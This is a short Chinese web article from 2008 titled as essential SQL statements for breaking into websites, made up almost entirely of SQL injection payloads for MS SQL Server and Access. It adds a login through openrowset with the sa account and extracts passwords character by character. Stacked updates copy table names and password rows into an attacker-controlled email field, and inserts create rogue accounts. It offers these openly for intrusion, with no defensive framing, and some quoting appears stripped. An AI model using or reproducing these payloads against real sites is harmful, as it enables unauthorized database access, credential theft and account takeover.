入侵网站必备Sql语句:(经典语句)

　2008-10-27 16:51:14　来源：WEB开发网　　　

核心提示： select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addloginhax)查询构造：SELECT * FROM news WHERE id=... AND topic=... AND ...

select * from openrowset

(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin

hax)

查询构造：

SELECT * FROM news WHERE id=... AND topic=... AND ..... adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass　 select 123;-- ;use master;-- :a or name like fff%;-- 显示有一个叫ffff的用户哈。 and 1(select count (email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- insert into users values( 667,123,123,0xffff)-- insert into users values ( 123, admin--, password, 0xffff)-- ;and user>0 ;and (select count(*) from sysobjects)>0 ;and (select count(*) from mysysobjects)>0 //为access数据库